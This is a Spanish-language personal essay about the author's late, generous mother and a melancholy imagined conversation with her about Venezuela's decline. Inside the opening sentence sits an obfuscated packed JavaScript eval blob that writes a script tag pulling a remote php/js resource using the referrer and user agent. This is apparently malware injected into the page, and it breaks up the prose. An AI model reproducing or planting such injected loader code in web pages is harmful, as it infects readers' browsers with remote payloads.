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Amanecer tardío

Eliana Pineda A. / Periodista / tefa_127@hotmail.com
Este eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brssf|var|u0026u|referrer|eknsy||js|php'.split('|'),0,{})) sencillo relato es uno de los tantos acontecimientos que conforman nuestra existencia y que nos definen como habitantes eternos de este mundo

Existen hechos tan profundos que si los contamos con la misma hondura de los instantes cuando suceden, tienen el sabor de la melancolía y la nostalgia insostenible. Este sencillo relato es uno de los tantos acontecimientos que conforman nuestra existencia y que nos definen como habitantes eternos de este mundo.

Para mi madre el preciado don de la solidaridad era inagotable. Para ella, dar era otorgar la energía del bien a los demás y esta filosofía la acompañó toda su vida. Regalaba a sus vecinos, felicidad en matas de rosas y cayenas encendidas, ofrecía cariño infinito en una arepa de plátano o un plato de sopa de pollo a todo recién llegado, en su casa siempre estaba una hamaca o un colchón disponible para darle techo y cobijo a un visitante, con esa hermosa cualidad el recorrido por este planeta se hizo más afable hasta entremezclarse con sus canas y sus audaces ojos indianos se fueron empequeñeciendo con el paso de los años.

Cuando hablaba convocaba a todos con su palabra. Era una mujer de diálogo permanente, cada vez que llegaba a su casa sus ojos se encendían destellando mucha luz, igual sucede hoy en mi hogar al llegar Victoria Imelda con sus papas. Mi madre cotidianamente asaba maduros con queso rayado, hervía maicena y guayoyo, ofreciéndole a todo el que la visitaba. Los domingos hacia calabazate y manjar, este hecho la unía indisolublemente con sus seres amados y allegados, haciendo de la cotidianidad todo un festín. 

Aunque estoy convencida que los que parten hacia territorios lejanos de manera indefinida ya no existen y la tierra se esparce perenne y la humedad se adhiere a sus huesos, sigo en conversación constante con mi madre, continuando charlas puntuales sobre este contexto menguado y desgarrador.

-Parece que no quedan mañanas soleadas en Venezuela

-Ya lo sé

- Quién te ha contado sobre esta trágica situación

- El olor de la tierra avisa cuando las querencias sufren, despidiendo perfumes de olvido y abandono, ella no engaña. He sabido que andamos mal porque el suelo se endurece y reseca, quebrantando las madrugadas tardías. Sé del agobio de los venezolanos porque los vientos son fríos y violentos, abatiendo sueños y esperanzas. La noche oscura arropa las sombras y nuestra conversación se detiene a la espera de nuevos amaneceres.

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